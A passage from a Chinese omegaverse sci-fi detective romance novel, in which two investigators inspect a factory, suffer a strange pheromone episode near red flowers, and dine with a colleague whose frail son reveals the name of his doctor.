意料之内没听到身后的人接话,意料之外的是她明显觉得崖柏味道比刚才沉重了不少。 她转过身,林息依旧是那副清冷平常的样子,只不过“信息素”不再雀跃了。 “这种方法是十几年前出现的,并未问世就被否决了。加上王室统一管制,实际上很少有人知道。”声音还是如常,公事公办地分析着,“知道的人基本都是从事生物研究相关职业的人,并且具有保密义务,吴天语肯定不是。” “李光他们对这个也不了解,甚至应该不知道他有这种识别障碍。”想起几人的反应,池泷也补充分析着,“而书房里的东西基本都是吴天语离婚前的。” “所以,我们必须得去找洛熙。”林息下了最终结论。 看了眼光脑,不知不觉已经快中午了,池泷问道,“不如先回去休息吃饭?下午去厂区看看,吴天语的办公室没有标记,但工作记录却都是手写签名的,这不符合识别障碍的症状。” 林息点点头。 两人达成一致,饭后池泷怕自己忘记,赶忙约好下午的集合时间,就各自休息去了。 趁着休息时间,池泷开始在星网搜索识别障碍相关的信息。 和林息说的一样,除了“识别障碍的症状及危害”、“统一管制的意义”这种信息之外,半分未提及替代适应性理论。 甚至池泷还特地搜了这个理论,结果是“查无此条”。 但池泷还是将这件事发给了擎晴和尹霄,可考虑到林息说的保密性,估计擎晴知道的可能性基本为零。 而尹霄回复得倒快:“不知道,阿簇也不知道,要查吗?” 拒绝了尹霄的好意,池泷觉得这件事有些耐人寻味,按理说,白家在贵族中的根基也很深,因为它是王室的绝对拥护者,王室相关的事,它不都应该很清楚吗? 可白家不知道,林息却知道? 抱着这样的疑问,池泷缓缓闭眼,临睡前想着,等见到洛熙一定也要问问这件事,他和吴天语年少相识相知,很可能会知道,而且一定不能当着林息面问。 沉重的崖柏流动仍旧历历在目。 他会不高兴。 28.第27章 到了下午约定的时间,两人在大厅碰面,池泷叫了一辆出租飞艇,等待过程中,她偷偷、快速地瞥了眼林息。 他依旧是一副安稳平常的冷静样子,只是除了刚才一见面打招呼,林息再未说过一句话。 倒不是池泷觉得林息有多爱说话,她直觉他好像有些疲惫、兴致不高的样子,但此刻池泷又突然感受不到崖柏的流动,有些摸不准。 但像林息这样的人,如果觉得不舒服一定会直说,不会委屈自己的。池泷这样想道。 飞艇很快到达,两人去往厂区的路上一直保持缄默。 这次探访是突然决定,池泷并未通知李光,不过因为委托,李光也给了池泷很大权限,却没想到在门口还是被拦了下来。 因为林息没有获得进入厂区的权限,隐秘处纳米安保机器人的红外激光射线立马无声却显眼地落在他身上,并且会跟随林息移动而移动。 无奈池泷只好联系李光,但他很抱歉地表示下午出去参加会议了,而李青也不在厂区,只能派工人去门口接引。 令人意外的是,来接引的人还是上次带池泷去吴天语办公室的那个年轻beta。 “我一听说是侦探来了,立马主动要求出来了。”朝气的脸上挂着大大的笑容,像一朵向日葵,让人心生好感,“这种事一回生二回熟,我也算是有经验的人了。” “好久不见,这次还是麻烦你了。”池泷也笑着打招呼,她对这个自来熟beta的印象真的很不错。 “哎呦,侦探这次不当独行侠了,还带着助手嘛。”一边解开密码、指纹、虹膜等多种安全保障手续,他一边开着玩笑。 “搭档,”一直没开口的林息终于出声,他表现得很亲和,但池泷却觉得不太对劲,接道:“没错,我们是一起做委托的搭档。” 在池泷没看见的地方,林息说完后立刻假装无意地瞄了她一眼,心想,明明应该是追随与被追随的关系,这么说已经很给面子了。 beta随意点点头,似乎并没把他们的回应放在心上。 当射线被收回时,两人才终于踏入厂区。 一进来,林息就问:“这些安保设备时间很久了吧?”他语气随意,似乎只是在闲聊。 “确实很久了,我来的时候就有,一开始就是密码,后来厂区大了,每年都加点儿。”beta无奈说道,“弄到现在这一整套,每次外人出入都还挺麻烦的。” “但是维护得很好,看起来好灵敏啊。”林息的语气里带着惊叹。 果不其然,beta小伙儿露出与有荣焉的表情,一脸骄傲:“嗐,毕竟我们年年也是用心维护的,要看好大门嘛!不过得说TS公司不愧是大公司,自从把这套安保设备交给他们,就没出过错,还年年派人维保啊、更新升级什么的。” 说着他又在头顶指了指,“这些,全部都是市面上最新最先进的。老板们可是付了大价钱。” 三人朝仓库行进,beta和上次一样,热情地给林息介绍景色、科普厂区的历史什么的。 虽然听的是第二遍,但beta真诚骄傲的语气也不会让池泷无聊,听他说到墙体装饰时,池泷突然想起一件事,顺嘴说道:“这些地方好像都是李青弄的?门口的大字也是她写的。” “那必须是青姐,”能轻易看出beta对于李青的敬佩和喜欢,他眼神朝上,细细数着:“不光是这些,我们每个部门的名字、大家的名牌……哎呀,反正大多数跟书画有关的东西都是她做的。” “我能看看你的名牌吗?”林息轻声询问,beta大咧咧地将兜里的名牌递过去,顺带继续夸李青性格多好、为人稳重、很有艺术感什么。 没一会儿,林息将名牌递了回去,跟着夸了一句:“确实很有艺术造诣,各种艺术字体信手拈来。” “那可不!青姐的水平绝对不一般,”突然地,beta一脸惋惜,“可惜青姐童年凄惨,结婚后小溪出生,但身体不好,她那个没良心的beta丈夫直接出走再没回来!” 眉毛顶起,beta真心地替李青觉得不值,不过很快他轻轻叹了口气,语气庆幸:“好在老天有眼,前几年小溪参加了一个医疗方面的实验项目,今年都能开始上学啦!” “好巧,我们今天刚见过小溪,虽然感觉还有点身弱,但他好懂事也好坚强,好乖。”林息一脸慈爱,惹得池泷多看了他好几眼。 骗人,池泷摸摸额头,心中忍不住吐槽,明明根本不在意小溪的。 “对吧对吧!他真让人心疼!”beta伸出食指和中指在空气中挥舞了两下,“不过我们见得也不多,小溪几乎出不了门的,就青姐偶尔分不开身、只能把他带到这里时才能看上一眼,也就两次。内向得都不敢抬头看人,但一瞧就是好乖的小孩儿。” 距离再次被拉近,beta似乎找到了和工友一起聊家常的感觉,他自然拉住林息的胳膊,开始絮叨:“你知道咱们beta很难有孩子的,你说他爸咋想的,好歹是自己肚子里出来的,也不知道心疼。” 这时池泷才发觉,原来林息这次伪装成了beta,可能因为两人过于“熟络”,池泷下意识地忽略了他的伪装性别。 更令池泷震惊的是,本以为林息对于他人自来熟的接触会有些不适,她都做好了救场的准备,可他却顺手回挽了beta的手,俩人像认识了很久一样,说着家长里短继续走。 反而落在后头的是池泷。 虽然不知道为什么感受不到崖柏了,但她直觉林息对此并没什么不习惯。 经过这遭,林息在她这里的高冷形象崩了得有一半多了,但池泷有种说不出的开心,他好像并没有自己认为的那种贵族的骄矜。 哪怕是白簇和尹霄,也会不经意地展现出一些贵族的小脾气。 但林息,不管是通过崖柏判断,还是直觉认为,池泷都觉得他不是手段高明的虚与委蛇,也不是隐藏起来居高临下的俯视。 好像他只是不在乎这些人,因为不在乎,所以不介意自己根据情况随意变换成别人喜欢或者厌恶、亲近或者惧怕的面貌。 但又远远不止这样,池泷想不通,但她和林息也不过刚接触不久,不了解也是正常。 就在池泷跟在身后胡思乱想的期间,办公室到了。 恋恋不舍地和林息分开,beta一步三回头地往工作车间走去。 看到这一幕,池泷终于没忍住笑出声,她实在是佩服林息收拢人心的本事,说道:“我又发现了你一个优点。” “什么?”林息转头看她,冰蓝眼眸下掩藏着好奇,他再次变回池泷熟悉的感觉,一种安心随意的微小距离感,无比真实。 “你很招人喜欢。”她回复,带着丝开玩笑的意味。 却发现自己说完后,林息并没觉得开心或者好笑,他只是站着,半晌安静地问道:“你觉得我虚伪吗?” 吓得池泷连连解释自己不是这个意思,招人喜欢是褒义词,或许他带有目的,但他并没有通过伤害别人去达成什么,只是比较会说话而已。 听到解释,林息极为轻微地慢慢舒了一口气,他完全感受不到信息素的动静,无法判断池泷是真心还是讽刺,明明自己很擅长察言观色。 吴天宇的办公室和他工作的仓库也没什么变化,只不过可能因为在吴天语家里有新的发现,这次和林息一起看的第二遍,池泷能感觉到自己在隐隐期待些什么。 他在去往中继室时,和池泷一样,被仓库里机器人按部就班地流畅工作惊艳了一把,池泷给他做了介绍,末尾感慨道:“这些机器人可太精密了,虽然价格昂贵,但出错率极低,再配上公司一条龙包售后的绝佳服务,绝对物超所值。” “你相信机器吗?”林息依旧专注地看着仓库内的景象,却问了一句似乎并不相干的问题。 “什么?”突如其来的问题让池泷有点迷茫。 “机器的每一条纵线、每一处链节,或多或少都带着造物者的影子。”林息将目光转到池泷脸上,碧蓝双眸直直望进那抹深黑底部,“和其他的人造物一样,它们只不过是人想法的具象化罢了,甚至随便懂它们构造的人都可以轻易地改造它们,所以你相信机器吗?” 一瞬间,池泷认为他不是在问自己对于机器的看法,但讨厌思考这种貌似含有哲学性质问题的池泷只是下意识回答,“信啊。” “它们被改造成什么样子也不是自己能决定的,我愿意相信每一种物品被创造时都是出于‘为人好’的目的,只是使用者目的不同,导致不同的结果。”池泷思绪零乱,脑海中隐隐有什么想法,却一时半会总结不出来,只觉得自己在胡说八道、不知所云,“而且我们也不要高高在上,今天我们被人造物惊艳,说不定未来某一天,我们也会被掌控在手心里的人造物打败。” 说完,池泷更觉得自己的回答驴唇不对马嘴了。 “改天让我看看你的‘鲨星’吧。”正在懊恼的池泷被林息接下来的话震惊。 真的震惊,因为“鲨星”是池泷机甲的名字。 虽然机甲名字并不是什么隐私或敏感项,但一直在机甲系成绩中游划水的池泷小队,人物及机甲名字绝对不会出现在那种“风云人物”名单或者“光荣榜”上。 和三年稳坐机械系成绩榜一的林息基本是天差地别,尤其在白簇和尹霄的过度“耀眼”下,池泷更是不起眼,连同系同学都不一定记住的机甲名字,林息张口就来。 而且,对池泷来说,她和鲨星可以说是异体同心的存在。 不仅仅是一直努力兼职赚钱、投入了巨大的人力财力、找技艺高超的机械师不断改进和装饰她,更是池泷自我感觉鲨星有“灵”,有时候重装机甲,池泷还会在旁边提前安慰鲨星不要怕疼。 以至于有一阵儿,尹霄和白簇都以为她大脑受到过什么刺激。 所以,林息知道鲨星的存在,和挖到池泷最深处的“隐私”之一,没什么区别。 总之,就是她怪不好意思的。 “就……那个……”心中千言万语,池泷支支吾吾。 这句话无异于“请问,我能看看你的内裤吗?” 过于踌躇的模样让林息忍不住误会,虽然她在别的事上很信任他,可在某种“界限”之内的事,似乎并不想让他知道,这种认知一时间让他有些不高兴。 “我是特级机械师。” 林息的话让池泷直接失去言语,光脑上收到一条信息,池泷呆呆地打开,呆呆地看到“linxx”发来的图片,那张特级机械师证件上的照片,和林息那么相像。 半晌,池泷严肃地鞠了个躬,说道:“好的,您有什么需要,尽管吩咐。” 特级机械师,通过机械师协会最高认证的存在,整个星际中的通过该认证的人数屈指可数,当然其中不乏和林息一样的年轻天才。 可他们大多数被贵族笼络买断,直接导致想预约特级机械师“看机甲”的机甲师人数和他们的预约价格一样爆炸,甚至一级机械师的地位直接跟着水涨船高。 因此,对像池泷这样的机甲师来说,绝对是得从上到数不过来的某辈子开始积德,才能遇到愿意给“看机甲”的特级机械师。 虽然林家从来未对外公布过自己是特级机械师的事情。 虽然特级机械师寥寥可数,却也从未听过他们其中之一是omega。 那一定是因为林息太低调了!大师的心思不要猜,听就得了! 这会儿,池泷已经在心中开始反省,自己对林息多有不敬,实在是罪大恶极。 而林息,在听见池泷的同意后,也赶紧转身朝中继室走去,难以压制的嘴角暴露了他极好的心情,他早就偷偷打听到池泷对“鲨星”的珍惜,一直想看看,但突然要求她把这样的爱物拿出来,绝对非常唐突。 可她那样追随自己,自己想看就得给,这不是理所应当的吗? 因此,他纠结了很久,刚才听到她对机器性价比的评价,心中莫名地有些不爽。有些找茬似地问出那样具有攻击性的问题。 但好在她的回答没有让他难堪,还顺势答应了自己的要求,真是误打误撞、两全其美! 查看了中继室的情况后,两人开始往外走,一路上林息步伐轻快,细细欣赏着厂区的风貌,池泷跟在他身后,看着他这充满闲情逸致的样子,终于从刚才的震惊中抽离了一点儿。 崖柏开始轻松地流动飘摇,她已经不知道第几次地感慨:林息真的是个大好人。 优秀、正直、勇敢、慷慨、热心、充满才华。 一切美好的词汇好像都可以用来形容他。 但很快,池泷想到,自己好像一直在得到林息的帮助,先是协助两次委托,这次又从他那里得到了天大的好处,而自己……似乎一直在白吃白拿。 知恩图报,脑海里,池泷仔细划拉了一下能拿得出手的东西,意外发现——没什么能拿得出手的。 虽然池泷自己也清楚,林息给她的东西,仅仅可观的金钱是无法衡量的。就算是金钱,自己或许也需要很长时间才能还上,可是总不能就这样厚脸皮地享受着别人的热心。 “不需要还什么,”含笑的声音在前面出现,一直低头思量的池泷终于回过神来,林息停下了脚步,正站在自己面前,“你是不是忘了?” 缓缓地迈着小步,林息朝着池泷越走越近,金红的夕阳涂抹了他一半的脸,另一半隐在看不清的黑暗里,变得蛊惑,又变得尖锐。 池泷忍不住后退,直到靠在墙壁,再无退路。 她这才发现,两人早就离开了厂区,不知什么时候,走入了一条人少的街道,红花在道路中央招摇,梦幻的气味仍旧让池泷感觉不适,不自觉地皱起眉头。 她看向已经逼到胸前的小人,明明才到肩膀,却依旧令她心慌。 “不知道什么时候,你需要给我信息素。”手指缠上披散在肩头的长发,黑白分明得扎眼,就像此时的林息,一朵开在黑夜中的纯白芍药,莫名引着人去采撷。 果然,面不改色地说出这种让人脸红心跳的话,似乎是林息的拿手好戏,池泷瞬间失了方寸。 就在这瞬息,崖柏就变成了无数股细细的气流,四面八方偷偷侵入池泷,从指尖沿着小臂,交缠着、曲延着,暧昧又招摇地爬向更深处。 她这才发现,原来夕阳的金红融入碧蓝,可以带来令人屏息的流光溢彩,她执着于想抓住这抹漂亮的流光,逐渐靠近,越来越近,温热的呼吸近在咫尺。 突然,右臂的汗毛竖起,指尖传来疼痛伴随着巨大的麻木感,受到刺激的池泷眼神刹那收拢,她左手快速将林息拉至身边,转身朝向右边。 没有人,但曾经存在过不善的窥探。 跑得挺快。 池泷闪过这样的念头,转而去看身后的林息,刚才那样大庭广众下的奇怪情态,绝对有什么问题。 果然,身后的人眼神里几分迷离,眉头紧皱,虽然面色略红,但似乎下一秒就要吐出来。 崖柏变得躁动,在池泷身上的攀爬变得横冲直撞,轻微的痛感传来,池泷半拢住林息,把大部分重量移放在自己身上,同时在他背上轻抚。 顾不上是否唐突失礼,她检查了林息的后颈,腺体看起来十分正常,没任何变化。 那这股“崖柏”到底从哪里来的? 慢慢地,林息平复下来,他面色有点苍白,无力地靠着池泷的肩膀。 “好点了吗?”池泷轻轻问道,“如果实在不舒服,吐出来也可以。” 肩膀能感受到毛茸茸的脑袋轻轻晃了晃,池泷忍不住勾了勾嘴角,不知道为什么感觉得林息在撒娇,随即她又吐槽自己的不道德,人都这么难受了,又在这儿想有的没的。 又过了一会儿,怀里的人似乎没劲儿了,池泷腰被抱住,那张小脸靠在脖颈,软软地说:“你背我回去吧。” 其实可以打个飞艇的,池泷刚想说,林息又说:“我想透透气。” 柔软得像棉花糖、像小猫咪、像绒球。 而且自己第一次听见他这样说话呢。 等池泷再次回过神来吐槽自己不道德时,林息已经在自己背上了,而自己正往宾馆走去。 这段路程较远,但对池泷这样的alpha来说,也是小菜一碟,唯独怕颠簸了背上安静不语、似乎睡着的人,她沉稳全身,步步用力,力争又快又稳。 所以月亮刚升起、天还没全黑时,两人就到达宾馆了。 可能因为还有些不舒服,林息从背上下来时脸色不虞,但看到他比刚才好不少的精神状态,池泷欣慰自己果然是个好“轿夫”。 正在池泷沾沾自喜时,李青发来光脑通讯,她这才想起他俩晚上好像还有个饭局。 果然,通讯一接起,对面就传来礼貌温和的询问,问今晚在哪儿吃饭。 “本意是不准备带小溪的,可他今天求了我很长时间,说很喜欢您那位搭档,我又担心外面的食物不适合小溪,因此厚着脸皮想请求一下,”李青语气小心犹豫,带着两分请求,“可不可以晚上在我家吃?我手艺虽然比不上外面的大厨,但家常菜还是可以一吃的。” 听到这些,池泷没直接回答,她让李青稍等一下,眼神询问身边的林息是不是还要去。 此时林息面色基本恢复正常。 尽管林息并 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她看向林息,他正闭着眼睛靠在沙发上,一切都很正常,只是眉眼间还存有一点疲惫。 其实大可以再约个时间吃饭,但不知道出于什么原因,林息还挺着急。他那样坚持,池泷也就不再说什么,反正自己也在旁边照应着。 只不过—— “下午那件事……很奇怪。”虽然想起来还是让池泷老脸一红,可她那时过于上头和林息不舒服的奇怪反应,说明这件事没那么简单,“那一阵儿不知道因为红花的原因,还是别的,我们两个的状态都不太对。” 这时林息睁开眼睛,他望向池泷,而池泷正看着前方回忆:“更重要的是,当时旁边应该是有人在偷窥,当我要去找的时候,又消失了。” 这也是池泷觉得奇怪的地方,就算她和林息一不小心在公共场合“意乱情迷”了,那个偷窥的人又想要干什么呢? 想了想,池泷还是补了一句:“眼神不善,绝对不是好人。” “嗯。”林息回复道,他回忆了一下,虽然自己那时有点迷乱于两人之间过于暧昧的氛围,可当池泷清醒,自己身体也随即从各处传来不住的恶心和轻微的疼痛,他不禁皱起了眉。 “那个红花味道很怪,好像会让人变得不对劲,”林息想了想,他能想起来的,只有当时闻到了一股很重的、梦幻的味道,那时他觉得正常,可此刻想来,那种味道似乎早已骗过了鼻子,直直往脑子里涌去,而且一回忆这种味道,他又感受到一种生理上的排斥。 听见林息这么说,池泷又觉得疑惑:“可这里人那么多,如果是它有问题,亚硫城应该早发现了,而且我们在这里这么多天,在这之前也没什么事。” 她看了看酒店大厅,不远处也摆放着红花,虽然它的味道一直在,自己也一直难以适应,可此刻他俩坐在这儿,不也好好的吗? “嗯,我也只是直觉性的怀疑,没什么证据。”林息也看见了大厅中的红花,此刻他虽然对花香有些许不适,却并没有下午那样诡异的感觉。 现在他只能记得那股味道和那时池泷的情态,剩余的一概记忆模糊。 这让他很不顺心,在这种AO之事上被人强迫,这种屈辱感,让他甚至暴躁到想宰了那个不怀好意的人。 不过一切都是猜测,索性两人也没再继续纠结,反正想对他俩干坏事的人这次不成功,说不定还会来下次。 敌暗我明,只得兵来将挡,水来土掩。 “你感觉能行是吧?”虽然池泷从刚才起,就确认过很多遍,可她还是没忍住又问了一句。 看到林息依旧点点头,池泷就彻底住嘴了,有些时候,问多了反而显得不够信任。 接下来池泷开始说正事:“今天看了看洛熙的地址,那个地方比较偏僻,出租飞艇可能无法到达,最好的方式是直接乘坐多人飞艇。” 尽管现在林息在池泷心中,并不是个十分挑剔的人。毕竟在乔城时的衣食住行还不如这次、又总是尽心尽力帮自己做委托,他也从没抱怨过什么。 但多人飞艇和字面意义一样,就是很多人乘坐的飞艇,主要就是为了偏远或交通管制地区的居民乘坐月轨,特地开设的“长途飞艇”。 所以龙蛇混杂、素质不齐,卫生等各方面条件都没有普通出租飞艇好,尤其是夏天,会有难闻的味道。 有时池泷小队出去做任务,交通难行,那俩人宁愿优先考虑重金聘请专艇司机,也不会考虑多人飞艇。实在被逼无奈必须乘坐时,那俩人都一副生无可恋的表情。 当然对于池泷来说,多人飞艇是她在老家从小坐到大的,早就习惯了。 可她还是害怕林息也不太能接受,尤其是今天下午刚经历过这样的事,尽管林息要强地坚持自己没事,可实际上对他的身体产生什么样的影响还不得而知。 也不是没考虑过租一辆专艇,可那个地方确实够偏,往返距离过长,大多数人都不想去,如果再加价,也超过了她能够承受的金钱范围。 因此——“因为飞艇不太舒适,我想我可以一个人去,你要不要考虑明天休息一天?正好可以去看下医生。”池泷这样说道。 “不用了。”话语直接被清冷的声音打断,林息的本音在此刻听起来格外冷酷,“我没你想的那么娇气。” “不是,我没有……”池泷直接卡壳,但很快她就意识到了自己的问题。 “我没有这样的想法。”她抱歉地笑了两下,“对不起,这次确实是我先入为主了。我也是有些担心,毕竟omega的身体构造要复杂一些。” 其实硬邦邦地讲完那句话,林息也心中有些后悔,开始反省自己接二连三在她面前的失态。 相对于其他人,池泷对他的态度已经是十足尊重和信任了,自己却还那样说话,她一定会反感吧。 可是他真的很不喜欢她一有事就想抛下自己,在乔城时就是这样,明明最后是自己带她逃出来的。 这些都和她表现出来的、对自己的信任完全是背道而驰。而且下午在她面前,自己表现出来的丑态,也让自己觉得不安。 因此没经过思考,就怼了回去。 结果她还道歉了,让林息心中更加别扭。 “我坐过多人飞艇,很多次,你不必操心。”口气软化了一点,可话为什么还是听起来这么噎人?林息还没思考清楚,嘴却先张开了,“至于身体,我自己心中也有数。” “好的,我知道了。” 她的声音听起来仍旧是那么温和,但林息心里却更加郁结,明明自己不想这么说的,甚至这次比以前更加无礼。 后颈的腺体突然传来轻微刺痛,烦躁的林息更是忍不住皱起眉头,可没几秒,疼痛就消失了。 这一幕看在池泷眼里,她更觉得抱歉,刚想解释什么,却看见林息突然站起。 “去人家家里吃饭不能空手吧?时间还有多久,充足的话去附近买点东西。”一个眼风都没给池泷,林息只是低着头一边收拾着不知道什么,一边说道。 “好,这附近正好有市场,买点东西直接去就行。”池泷答应道。 于是两人买了好些东西,林息还买了一只小狗玩偶,估计是给小溪的,池泷忍不住看了好几眼。 “上次的事是我不对。”终于忍受不了池泷光明正大的“偷窥”,坐上飞艇后,林息出声解释。 虽然自己有信心不让那个孩子受伤,但从人伦上说,也不该用信息素诱导那样弱小的孩子。况且,这种“审讯”也是大多数人所不齿的。 “什么?”池泷投来疑问的目光,林息一愣,随即内心深处涌起深深的难堪。 原来她根本不知道omega诱导性信息素的事。 一直是自己,在她面前丑态毕露。 而池泷这边,在想破脑袋后,终于想明白:应该是上次李青接人时,他不知道为什么信息素差点泄漏的事。 果然是很有道德的人啊,虽然自己当时发现不对,立马就堵得死死的,可林息还是会对孩子感到抱歉啊。 看他别过去的脸,估计此刻他心中也十分不好受吧。 因为信息素是十分隐私的事,而且当时崖柏并没有什么攻击性或者其他负面情绪在里头,因此池泷也没追问过。 但是像林息这样对信息素具有很高控制力的人,在来到亚硫城后已经出现过两次信息素混乱,这也是为什么池泷有点担心他的状态。 想起林息倔强的样子,池泷还是选择了沉默,而且刚才那件事还没解释清楚,现在也不是谈话的好时机,还是先各自冷静一下吧。 29.第28章 到了李青家里,两人大包小包的样子让李青连说好几句“这是做什么,做客的人拿的比请客的还多”。 一进门,池泷就能看见这个不大屋子的全貌,暖色系的家具,正中间双人沙发扶手上满是有一块相似颜色的皮革补丁,茶几此刻变成了餐桌,周围放着几个小凳,丰富的饭菜布置在上面,香味不时传来。 窗户大开,傍晌近晚的微风带来丝丝凉意,从外面看,估计也是黄灯柔和,跟普通千家万户一样。 李小溪正乖巧地抱着天真,静静坐在沙发上,本来看见两人进门,他也想站起身迎接,可奈何腿短无力,一时半会儿咕涌不下来,眼看着两人彻底进来落座,只能瘪着小嘴巴坐回原样,乖巧地打了招呼。 小孩儿比上次见面时看起来更好了,苍白的脸蛋上勉强上了几分血色,发根比发尾处粉了不少。 池泷忍不住勾起嘴角,和李青一起将拿来的东西整理好,出来时就看见林息已经坐在小溪身边,两人开始偷偷聊上了。 “我去厨房再热个菜,你快去坐,桌上有刚弄好的凉白开、热茶和冰饮,只不过想喝什么得麻烦你们自己动手了。”李青热情地招呼着,转身回到闷热的厨房,池泷刚想进去帮忙,又被她推了出来。 “拿这么多东西已经够让我不好意思的了,再做菜我就要生气了。” 无奈池泷也走到茶几边上,看着满是划痕的凳面,随便挑了个坐下,又拿来一个杯子,给林息倒了杯白开。 “真的给我吗,叔叔?”尽管努力不让自己看起来过于兴奋,可摇晃的小脚暴露了小溪真实的心情,他手里拿着那只林息新买的小狗玩偶,另一只胳膊依旧夹着天真。 “嗯,这样天真也有伙伴了,不会孤单了。”看着小溪稀罕开心的样子,林息忍不住轻摸他的头,仍旧是干枯的手感,不敢让人用力。 “谢谢叔叔。”小溪将小狗拿给天真看,准备给它介绍新朋友,却想起什么,转头害羞地跟池泷也说了一声“谢谢阿姨”。 正在喝水的池泷被突如其来的感谢弄得一愣,随即笑着说没事。 小溪十分喜欢这个温柔的叔叔,他是个大好人。 尽管他好像比表现出来的冷漠许多,可他是这么多年第一个认真听自己说话的人,而且他似乎能明白自己想说什么,他偷偷瞧了林息一眼,觉得叔叔今天似乎格外不开心。 “小溪,”听到林息轻柔地叫了自己一声,小溪赶忙看着“好人叔叔”,“你是什么时候觉得身体开始变好的?在这儿的医院里治疗的吗?” “叔叔,你问这个做什么?”抚摸小狗玩偶的手停下,小溪目光移向旁边,声音比蚊子声还小。 “因为叔叔有个朋友,他的身体也很差,”林息弯下腰身,手扶在小溪头顶,随着他的话,小溪也抬起头来,两人四目相对,“如果小溪能治好,叔叔的朋友说不定也能治好。你知道的吧,出门对他来说,是一件具有挑战性的事。所以我想问问,在哪里、需要多久才能让身体变好呢?” “我……”小溪偏离目光,不想和林息对视,“我饿了……” 可林息只是将手改为轻轻抓住他两侧细弱的胳膊,然后继续盯着手里的小孩儿,可却一直捕捉不到他的目光。 厨房里碗盘碰撞的声音传来,似乎做菜已几近尾声。 “我去厨房看看,有没有要帮忙的。”说完这句话,池泷就起身进了厨房。 她的身影消失,林息着实松了口气。 他也缓缓低下头,目光不再和小溪接触,握住小溪胳膊的手掌用力也小了些。 “你不想说就算了,也没什么。”他笑容里有种隐晦的凄凉,叫人看着不忍心。低下的头颅看起来充满了失望和丧气,嘴里却说着,“只是,没事。” 林息在赌,赌手里的孩子涉世不深,赌他被保护得很好,赌他依旧保持着单纯的善良。 果然,在看到林息这样的情状后,小溪动摇了,他眼眸中深藏的犹豫被林息精准捕捉。 这时,林息慢慢放开手,他表情依旧隐痛,只是先缓慢地把头转到一边,接着是身体,手也慢慢放开胳膊,然后准备缓缓握拳。 下一秒,胳膊果然被一只小手抓住了。 “市立医院的儿科,安德尔医生。”声音打颤,极小,仿佛出声的人下一秒就会崩溃,“两年前,我在那里,开始治病的。” 带着震惊又感激的表情,林息立马看向小溪,但他却没有接受他的目光,“我很喜欢叔叔,才说的。”他听上去像马上要碎了,另一只小手揉揉眼睛,“就只有这些。” 胳膊上传来更为清晰的抓握感。 如果小溪像正常孩子那样,那第二天林息的胳膊上一定会有一块淤青。 “不要做坏事。”最后的最后,小溪就说了这句话。接着手放开,抓住两只小狗玩偶紧紧抱着。 而林息伪装的表情在听到“喜欢”的一瞬间,多了分不显眼的僵硬和扭曲,他望着眼前自抱成团的孩子,慢慢将手搭上他的肩膀,把他拢入怀中。 “很多人跟我说没有什么东西是天生弱小的,我也这样认为。”林息看着厨房里不知道实在添乱还是帮忙的池泷,声音平和,“变强的过程中,要经受的所有苦、经历的所有欺负,都是弱小导致的。” 第一眼见到这个孩子,他心底始终带着若有似无的厌烦,绝对谈不上喜欢。 太弱小,一根指头都能碾死的程度。 “但我也听人说,经历的风雨太多,就算最坚硬的石头也会碎裂。”林息眼前闪过很久以前,在机甲系考试楼前池泷给小队打气的的样子,“如果别人觉得我们弱小,抱团不就好了,弱小不是错误。” “大人的事大人会自己解决。”摸了摸干枯的头发,林息声音带上不易察觉的温暖,“我们都不会做坏事,我、阿姨、妈妈,我们都不是坏人。” 没一会儿,腿上多了个小脑袋,小孩儿抱着小狗咕哝了一句“如果你是我爸爸该多好。” 但林息没听清,他也没想去探寻,反而问道:“你想给新的小狗伙伴起什么名字?” “没错。”小溪转过身来,眼皮微红,眼神却晶亮,“就叫‘没错’。” “嗯。”冰凉的手将善恶分明的眼睛盖上,林息轻轻答应了一声,手下小小的睫毛颤动了一下。 “这孩子闹人了吧,真是的,怎么还躺叔叔腿上了。”围着围裙的李青从厨房匆匆过来,将手上的菜放下,就要去扶小溪。 “没事儿。”林息和善地笑笑,“他喜欢我。” “这倒是,”双手在围裙两边搓了搓,李青看着小溪,宠爱又无奈,“明明今天第一次见面,你们来之前,他就一直嚷嚷着期待,尤其是林先生你,可能就是缘分吧。” “叫我林夕就行。”将手拿开,林息扶着小溪坐了起来。 小孩儿此时才觉得不好意思,却也不敢看他的妈妈,幸好此时林息给他递上一杯水,他接过赶紧喝了一口。 “菜齐了。”最后池泷一手端着一个盘子过来,林息见状赶忙去接,她用胳膊格挡了一下,示意他坐下就行,“李青做了好多,今晚得大饱口福,吃撑才行了。” “家常手艺,你们不嫌弃就行。”李青也站起将另一个盘子接过,放在桌上。 一番相互推脱之后,李青首先举杯,这场“家宴”开席。 池泷和林息喝白开水。 因为家里第一次招待外来的客人,小溪额外得到一小盅常温果饮,十分开心。 李青则给自己倒了一杯热茶,只有她准备的冰饮无人问津。 饭菜飘香、口味合适、其乐融融。 年纪相仿的人们在一起,总是更加容易就熟络起来,更何况在座三人,还有两个“人精”。 “这几天的调查还顺利吗?”李青用公筷给两人各夹了菜,“快吃快吃。” 听见这话,池泷用余光快速扫了林息一眼,他没什么反应,就接道:“还是那样儿,家里和办公室没啥特别的。” “但是这几天接到你叔叔的消息,说吴先生的前夫那里可能有点新东西。”接着池泷的话,林息继续说道,他语气随意,仿佛在说一个很平常的事儿。 “那太好了!”李青呼了口气,满脸笑意,“希望能有好消息。” “不过吴叔他什么时候有的前妻?他竟然结过婚?”随即李青一脸惊讶,和李光说的一样,她并不知道洛熙的存在。 “据说年轻时候结的,只不过没过多久就离了。”池泷剥了一只虾,在林息面前晃了晃,对方把碗递了过来,“你不也是嘛,结婚那么早,孩子都这么大了。” 说完,三人同时看向在沙发上早已熟睡的小溪,他身上盖着一条小毛毯,肚子一起一伏。 开席没多久,兴奋了半天的小孩率先筋疲力尽,但又不肯轻易退席,只能在林息旁边暂时搭了个窝睡着。 “小溪命苦,出生时后颈那里的腺体发育迟缓,摊上我这么个没出息的妈妈。”李青看着小溪的眼神,永远都像晴日下风平浪静的海,浩瀚又温柔,“幸好叔叔不嫌弃我,给了我份活儿,让我糊口养家。” “我们都是普通人,能做的也只有这么多,你能坚持这么久,已经很了不起了。”接过李青的话,池泷安慰道。 平心而论,比大多数人不幸的是,小溪天生虚弱;而比大多数人更幸运的是,他有位从未放弃过他的妈妈。 “嗐,日子好坏都是人过的,一天一天过就是了。”她一口气饮尽杯中凉透一半的茶水,那股气势,仿佛喝的是酒。 一直看着小溪的林息此刻突然问出口:“孩子的父亲就真的狠心,从没管过他吗?” 池泷心下一凛,这么隐私痛苦的话题,林息却提了出来。 虽然奇异于林息的“不识时务”,她却也没说什么。 而李青听到这话,面上竟然没有尴尬或者不堪,只是安静地摇了摇头,倒是说了一句:“我也理解他,虽然是十月怀胎生下的亲骨肉,可近在眼前的、未来看不见希望的日子,谁愿意过。” 